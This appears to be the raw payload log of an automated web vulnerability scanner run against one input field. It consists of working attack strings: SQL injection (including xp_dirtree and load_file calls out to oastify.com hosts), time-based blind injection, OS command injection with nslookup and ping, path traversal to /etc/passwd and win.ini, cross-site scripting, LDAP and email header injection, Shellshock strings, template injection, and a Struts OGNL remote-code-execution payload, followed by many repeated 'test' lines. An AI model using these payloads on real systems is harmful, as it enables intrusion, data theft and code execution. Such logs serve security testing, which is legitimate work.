test

(select extractvalue(xmltype('%dzsme;]>'),'/l') from dual)

test

test'||(select extractvalue(xmltype('%dzsme;]>'),'/l') from dual)||'

test;declare @q varchar(99);set @q='\\5u0iuwwupivmxynkr79gx74y0p6kuai18p0cq0f.oasti'+'fy.com\tdr'; exec master.dbo.xp_dirtree @q;--

test';declare @q varchar(99);set @q='\\zgjcgqiobchgjs9ed1vaj1qsmjseg44vvjn6du2.oasti'+'fy.com\ung'; exec master.dbo.xp_dirtree @q;--

test);declare @q varchar(99);set @q='\\tyv6yk0it6za1mr8vvd41v8m4da8yymped60wol.oasti'+'fy.com\ocp'; exec master.dbo.xp_dirtree @q;--

test');declare @q varchar(99);set @q='\\6eljexgv9jfnhz7lb8thh8ozkqqleb22vqndd12.oasti'+'fy.com\nnm'; exec master.dbo.xp_dirtree @q;--

(select load_file('\\\\b1do1230wo2s44uqydgm4db47vdq1gp7rvji96y.oastify.com\\rlr'))

test'+(select load_file('\\\\gwgtw7y5rtxxz9pvtibrzi69208vwlkcn0fn5bu.oastify.com\\xxy'))+'

test'

test'(select*from(select(sleep(20)))a)'

test'+(select*from(select(sleep(20)))a)+'

test' and (select*from(select(sleep(20)))a)--

test,(select*from(select(sleep(20)))a)

test' waitfor delay'0:0:20'--

test')waitfor delay'0:0:20'--

test',0)waitfor delay'0:0:20'--

test28676260' or '4282'='4282

test88467336' or '2240'='2243

test61830998' or 1457=1457--

test54029994' or 8477=8479--

test' and '5524'='5524

test' and '8606'='8612

test' and 9742=9742--

test' and 7166=7173--

test"

pmthu8floa

testg6ahbyxzdk

test}}d760w'/"

test%}mw1yn'/"

testukddr%>nvauj'/"

test'+sleep(20.to_i)+'

test'+eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))+'

eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))

test'.sleep(20).'

test{${sleep(20)}}

39ag9ubs4gakcw2i65oec5jwfnli98x0ls8iw7.oastify.com

http://m3qz3d5byz436fw10oix6odf96f13rrhf92zqo.oastify.com/?test

nslookup -q=cname fzisz614us0w28suwheq2h985zbuzkndq1io8cx.oastify.com.&

test|nslookup -q=cname jczwcae87wd0fc5y9lruflmci3oyco0kocb2zr.oastify.com.&

test'"`0&nslookup -q=cname w9699nbl49adcp2b6yo7cyjpfglb91xylq8gw5.oastify.com.&`'

test&nslookup -q=cname xyzayo0mtaze1qrcvzd81z8q4hacy2mxapxfl4.oastify.com.&'\"`0&nslookup -q=cname xyzayo0mtaze1qrcvzd81z8q4hacy2mxapxfl4.oastify.com.&`'

test|echo dlk1021kyb rfmagmfki8||a #' |echo dlk1021kyb rfmagmfki8||a #|" |echo dlk1021kyb rfmagmfki8||a #

test&echo fnh58646ij et9h5uwcyx&

test"|echo w6uy0flp9s guwswzj804 ||

test'|echo p1atd6aoab opsxaz9tb5 #xzwx

test|ping -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #' |ping -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #\" |ping -n 21 127.0.0.1

test|ping -c 21 127.0.0.1||x

test&ping -n 21 127.0.0.1&

test'|ping -c 21 127.0.0.1 #

test"|ping -n 21 127.0.0.1 ||

..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows\win.ini

"-prompt(8)-"
'-prompt(8)-'
";a=prompt,a()//
';a=prompt,a()//
'-eval("window['pro'%2B'mpt'](8)")-'
"-eval("window['pro'%2B'mpt'](8)")-"
"onclick=prompt(8)>"@x.y
"onclick=prompt(8)>"@x.y

t>

">
lose focus!
click this!
copy this!
right click this!
copy this!
double click this!
drag this!
focus this!
input here!

c:\windows\win.ini

test..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows\win.ini

../../../../../../../../../../../../../../../../etc/passwd

/etc/passwd

"-prompt(8)-"
'-prompt(8)-'
";a=prompt,a()//
';a=prompt,a()//
'-eval("window['pro'%2B'mpt'](8)")-'
"-eval("window['pro'%2B'mpt'](8)")-"
"onclick=prompt(8)>"@x.y
"onclick=prompt(8)>"@x.y

t>

">
lose focus!
click this!
copy this!
right click this!
copy this!
double click this!
drag this!
focus this!
input here!

test../../../../../../../../../../../../../../../../etc/passwd

.../test

c8dxphrasu)(objectClass=*

ffyffl62z0)(!(objectClass=*)

*)(objectClass=*

*)(!(objectClass=*)

cxj

test]]>><

test'+(function(){if(typeof kjuxl==="undefined"){var a=new Date();do{var b=new Date();}while(b-a<20000);kjuxl=1;}}())+'

"-->'-->`-->

test
BCC:kymxyb09txz11drzvmdv1m8d44azypmhf57sxgm@oastify.com
hyd: x

test>
BCC:sqm5qjshl5r9tlj7nu53tu0lwc27qxep8d00qof@oastify.com
uvm: o

test

() { :;}; /bin/sleep 0

() { :;}; /bin/sleep 11

`sleep 11`

|sleep 11 & ping -n 11 localhost

$(sleep 11)

${(new java.io.BufferedReader(new java.io.InputStreamReader(((new java.lang.ProcessBuilder(new java.lang.String[]{"timeout","11"})).start()).getInputStream()))).readLine()}${(new java.io.BufferedReader(new java.io.InputStreamReader(((new java.lang.ProcessBuilder(new java.lang.String[]{"sleep","11"})).start()).getInputStream()))).readLine()}

() { _; } >_[$($())] { /bin/sleep 11; }

%{6663*8502}

8525*253

${9777*4985}

h00l''qhwa

@(701*9057)

a'a\'b"c>?>%}}%%>c<[[?${{%}}cake\

godj0dvl8k8i

{!xmlparser v=''}

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ping 8z8e108jsx3qz0u9urq86ln8bzhp5e.oastify.com -c1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

nk5u4`z'z"${{%{{\

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test

test